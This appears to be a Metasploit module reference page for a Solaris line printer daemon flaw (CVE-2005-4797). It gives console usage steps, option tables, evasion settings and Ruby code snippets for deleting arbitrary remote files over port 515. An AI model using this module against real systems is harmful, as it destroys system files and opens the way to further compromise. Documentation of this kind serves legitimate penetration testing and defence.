Solaris LPD Arbitrary File Delete - Metasploit


This page contains detailed information about how to use the auxiliary/dos/solaris/lpd/cascade_delete metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Solaris LPD Arbitrary File Delete
Module: auxiliary/dos/solaris/lpd/cascade_delete
Source code: modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 515
List of CVEs: CVE-2005-4797

This module uses a vulnerability in the Solaris line printer daemon to delete arbitrary files on an affected system. This can be used to exploit the rpc.walld format string flaw, the missing krb5.conf authentication bypass, or simply delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/solaris/lpd/cascade_delete
msf auxiliary(cascade_delete) > show targets
    ... a list of targets ...
msf auxiliary(cascade_delete) > set TARGET target-id
msf auxiliary(cascade_delete) > show options
    ... show and set options ...
msf auxiliary(cascade_delete) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • RPATH: The remote file path to delete

Go back to menu.

Msfconsole Usage


Here is how the dos/solaris/lpd/cascade_delete auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/solaris/lpd/cascade_delete

msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show info

       Name: Solaris LPD Arbitrary File Delete
     Module: auxiliary/dos/solaris/lpd/cascade_delete
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <[email protected]>
  Optyx <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPATH                    yes       The remote file path to delete
  RPORT   515              yes       The target port (TCP)

Description:
  This module uses a vulnerability in the Solaris line printer daemon 
  to delete arbitrary files on an affected system. This can be used to 
  exploit the rpc.walld format string flaw, the missing krb5.conf 
  authentication bypass, or simply delete system files. Tested on 
  Solaris 2.6, 7, 8, 9, and 10.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2005-4797
  http://www.securityfocus.com/bid/14510
  OSVDB (18650)

Module Options


This is a complete list of options available in the dos/solaris/lpd/cascade_delete auxiliary module:

msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show options

Module options (auxiliary/dos/solaris/lpd/cascade_delete):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH                    yes       The remote file path to delete
   RPORT   515              yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the dos/solaris/lpd/cascade_delete auxiliary module:

msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show advanced

Module advanced options (auxiliary/dos/solaris/lpd/cascade_delete):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/solaris/lpd/cascade_delete module can do:

msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/solaris/lpd/cascade_delete auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The target did not accept our job request command


Here is a relevant code snippet related to the "The target did not accept our job request command" error message:

53:	
54:	    # Request a cascaded job
55:	    sock1.put("\x02#{r_hostname}:#{r_spool}\n")
56:	    res = sock1.get_once
57:	    if (not res)
58:	      print_status("The target did not accept our job request command")
59:	      return
60:	    end
61:	
62:	    # Theoretically, we could delete multiple files at once, however
63:	    # the lp daemon will append garbage from memory to the path name

The target did not accept our control file command (<NAME>)


Here is a relevant code snippet related to the "The target did not accept our control file command (<NAME>)" error message:

83:	  def send_file(s, type, name, data='')
84:	
85:	    s.put(type.chr + data.length.to_s + " " + name + "\n")
86:	    res = s.get_once(1)
87:	    if !(res and res[0] == ?\0)
88:	      print_status("The target did not accept our control file command (#{name})")
89:	      return
90:	    end
91:	
92:	    s.put(data)
93:	    s.put("\x00")

The target did not accept our control file data (<NAME>)


Here is a relevant code snippet related to the "The target did not accept our control file data (<NAME>)" error message:

91:	
92:	    s.put(data)
93:	    s.put("\x00")
94:	    res = s.get_once(1)
95:	    if !(res and res[0] == ?\0)
96:	      print_status("The target did not accept our control file data (#{name})")
97:	      return
98:	    end
99:	
100:	    print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
101:	    return true

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • hdm
  • Optyx <optyx[at]uberhax0r.net>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.